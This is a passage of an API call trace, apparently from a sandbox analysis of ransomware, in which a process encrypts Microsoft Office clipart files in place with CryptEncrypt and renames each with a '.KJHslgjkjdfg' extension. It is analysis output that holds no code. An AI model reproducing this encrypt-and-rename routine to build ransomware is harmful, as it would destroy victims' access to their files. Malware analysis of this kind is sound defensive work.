lpNewFilePointer=0x0) returned 1 [0205.529] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0205.531] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.531] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.531] GetProcessHeap () returned 0x2ef0000 [0205.531] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.531] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.531] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.531] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.531] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.531] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.531] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.531] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.532] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.532] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.532] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.532] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.532] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8166, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x8166, lpOverlapped=0x0) returned 1 [0205.533] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8170, dwBufLen=0x8170 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8170) returned 1 [0205.533] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.533] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8170, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x8170, lpOverlapped=0x0) returned 1 [0205.533] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.533] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.533] SetEndOfFile (hFile=0x130) returned 1 [0205.536] GetProcessHeap () returned 0x2ef0000 [0205.536] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.536] GetProcessHeap () returned 0x2ef0000 [0205.536] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.536] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282928.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282928.wmf.kjhslgjkjdfg")) returned 1 [0205.537] CloseHandle (hObject=0x130) returned 1 [0205.538] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3700, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0282932.WMF", cAlternateFileName="")) returned 1 [0205.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282932.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.539] GetProcessHeap () returned 0x2ef0000 [0205.539] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.539] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.539] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.539] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.540] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.540] GetProcessHeap () returned 0x2ef0000 [0205.540] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.540] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.540] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.540] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.542] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.542] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.542] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.542] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.542] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.542] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.542] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.542] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.542] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3700, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3700, lpOverlapped=0x0) returned 1 [0205.543] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3700, dwBufLen=0x3700 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3700) returned 1 [0205.544] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.544] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3700, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3700, lpOverlapped=0x0) returned 1 [0205.544] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.544] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x37d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.544] SetEndOfFile (hFile=0x130) returned 1 [0205.546] GetProcessHeap () returned 0x2ef0000 [0205.546] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.546] GetProcessHeap () returned 0x2ef0000 [0205.546] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.546] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282932.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282932.wmf.kjhslgjkjdfg")) returned 1 [0205.548] CloseHandle (hObject=0x130) returned 1 [0205.548] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56641810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x388a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0285462.WMF", cAlternateFileName="")) returned 1 [0205.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285462.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.549] GetProcessHeap () returned 0x2ef0000 [0205.549] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.549] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.549] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.549] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0205.551] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.551] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.551] GetProcessHeap () returned 0x2ef0000 [0205.551] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.551] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.551] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.551] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.551] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.552] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.552] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.552] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.552] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.552] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.552] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.552] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.552] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x388a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x388a, lpOverlapped=0x0) returned 1 [0205.553] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3890, dwBufLen=0x3890 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3890) returned 1 [0205.553] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.553] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3890, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3890, lpOverlapped=0x0) returned 1 [0205.553] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.553] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.553] SetEndOfFile (hFile=0x130) returned 1 [0205.555] GetProcessHeap () returned 0x2ef0000 [0205.555] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.555] GetProcessHeap () returned 0x2ef0000 [0205.555] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.556] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285462.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285462.wmf.kjhslgjkjdfg")) returned 1 [0205.557] CloseHandle (hObject=0x130) returned 1 [0205.557] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56641810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2440, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0285484.WMF", cAlternateFileName="")) returned 1 [0205.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285484.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.558] GetProcessHeap () returned 0x2ef0000 [0205.558] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.558] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.558] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.558] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.558] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.558] GetProcessHeap () returned 0x2ef0000 [0205.558] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.558] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.558] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.558] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.560] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.560] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.560] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.561] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.561] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.561] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.561] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.561] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.561] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2440, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2440, lpOverlapped=0x0) returned 1 [0205.562] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2440, dwBufLen=0x2440 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2440) returned 1 [0205.562] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.562] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2440, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2440, lpOverlapped=0x0) returned 1 [0205.562] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.562] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.562] SetEndOfFile (hFile=0x130) returned 1 [0205.565] GetProcessHeap () returned 0x2ef0000 [0205.565] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.565] GetProcessHeap () returned 0x2ef0000 [0205.565] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.565] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285484.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285484.wmf.kjhslgjkjdfg")) returned 1 [0205.567] CloseHandle (hObject=0x130) returned 1 [0205.567] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x795c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0285780.WMF", cAlternateFileName="")) returned 1 [0205.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285780.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.568] GetProcessHeap () returned 0x2ef0000 [0205.568] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.568] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.568] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.568] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.571] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.571] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.571] GetProcessHeap () returned 0x2ef0000 [0205.571] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.571] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.572] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.572] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.572] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.572] WriteFile (in: hFile=0x130, 